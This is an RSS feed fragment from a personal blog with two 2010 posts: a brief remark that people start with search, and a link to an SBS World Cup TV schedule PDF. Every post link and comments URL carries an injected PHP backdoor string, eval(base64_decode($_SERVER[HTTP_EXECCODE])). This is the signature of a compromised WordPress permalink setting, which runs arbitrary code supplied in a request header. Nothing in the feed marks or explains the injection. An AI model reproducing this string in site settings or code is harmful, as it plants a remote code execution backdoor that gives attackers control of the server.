		<link>http://damiendonnelly.com/2010/06/28/people-start-with-search/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://damiendonnelly.com/2010/06/28/people-start-with-search/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 28 Jun 2010 02:05:53 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

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		<description><![CDATA[
I just read a common mantra, &#8220;People start with search&#8221; &#8211; and it is true they do start searching with &#8220;search&#8221; &#8211; it is somewhat of a tautology. Before they start searching they are socialising, and if Google isn&#8217;t careful, they could very well be searching at Facebook or Twitter for the very things Google [...]]]></description>
			<content:encoded><![CDATA[<div class='posterous_autopost'>
<p>I just read a common mantra, &#8220;People start with search&#8221; &#8211; and it is true they do start searching with &#8220;search&#8221; &#8211; it is somewhat of a tautology. Before they start searching they are socialising, and if Google isn&#8217;t careful, they could very well be searching at Facebook or Twitter for the very things Google famously will find for us.</p>
<p style="font-size: 10px;">  <a href="http://posterous.com">Posted via email</a>   from <a href="http://damiendonnelly.posterous.com/people-start-with-search">Damien Donnelly&#8217;s posterous</a>  </p>
</p></div>
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		<title>SBS World Cup TV Schedule</title>
		<link>http://damiendonnelly.com/2010/05/31/sbs-world-cup-tv-schedule/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://damiendonnelly.com/2010/05/31/sbs-world-cup-tv-schedule/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 31 May 2010 02:49:16 +0000</pubDate>
		<dc:creator>minimus</dc:creator>
		
		<category><![CDATA[General]]></category>

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		<description><![CDATA[


Download now or preview on posterous
       site_242_rand_1279066999_sbs_fifa_world_cup_telecast_schedule.pdf (116 KB)       


The most important document you will read all year.

  Posted via email   from Damien Donnelly&#8217;s posterous  

]]></description>
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<div style='padding: 5px 5px 10px 5px; margin-top: 5px; border: 1px solid #ddd; background-color: #fff;line-height: 16px;'>
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<div style="font-size: 10px; color: #424037;line-height: 16px;">Download now or <a href='http://damiendonnelly.posterous.com/sbs-world-cup-tv-schedule' style='color: #bc7134;'>preview on posterous</a></div>
<p>       <b><a href='http://posterous.com/getfile/files.posterous.com/damiendonnelly/26JPjY2INnavl3oyLpY6DAbaW2KtrLMAvJbPOpW6WLhlUuTWLSYw46lvRIZl/site_242_rand_1279066999_sbs_f.pdf' style='color: #bc7134;'>site_242_rand_1279066999_sbs_fifa_world_cup_telecast_schedule.pdf</a></b> <span style="font-size: 10px; color: #424037;">(116 KB)</span>       <br style="clear: both;"/></div>
</p>
<div>
<p><span style="color: #1F497D;">The most important document you will read all year.</span></p>
</p></div>
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